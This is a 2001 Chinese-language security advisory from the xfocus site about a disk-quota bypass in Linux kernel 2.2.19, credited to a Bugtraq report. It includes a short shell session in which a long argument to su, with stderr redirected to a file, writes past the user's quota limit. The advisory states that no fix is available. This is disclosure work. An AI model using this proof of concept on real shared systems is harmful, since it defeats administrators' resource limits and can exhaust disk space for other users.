xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux内核中的quota可以被突破


发布时间:2001-10-23
更新时间:2001-10-23
严重程度:
威胁程度:其它
错误类型:设计错误
利用方式:服务器模式

受影响系统
Linux kernel 2.2.19
详细描述
任何SUID程序可以被用来建立超大的文件来突破quota所设置的限制。

当setuid-root程序继承用户进程的文件描述符,它可以不需要遵循quota限制
而写任何东西,这是因为suid进程在写文件时有CAP_SYS_RESOURCE 特性,quota
不了解所打开文件描述符的全部细节并只检查当前权利而已。

测试代码
cliph$quota -u wp
Disk quotas for user wp (uid 500):
     Filesystem blocks quota limit files quota limit
      /dev/hda6 4 10 10 1 10 10


cliph$perl -e 'print "a"x16384' >>myfile
/vol1: write failed, user disk limit reached.


cliph$ls -l myfile
-rw-rw-r-- 1 wp wp 4096 Oct 22 10:33 myfile


cliph$su $(perl -e 'print "a"x16384') 2>>myfile
cliph$ # ^^^ this is it: su writes error message to fd 2 without limits


cliph$ls -l myfile
-rw-rw-r-- 1 wp wp 20505 Oct 22 10:34 myfile


cliph$quota -u wp
Disk quotas for user wp (uid 500):
     Filesystem blocks quota limit files quota limit
      /dev/hda6 28* 10 10 2 10 10


(I removed `grace' fields from quota output)

解决方案
尚无

相关信息
Wojciech Purczyñski (wp@supermedia.pl)
参考:http://archives.neohapsis.com/archives/bugtraq/2001-10/0179.html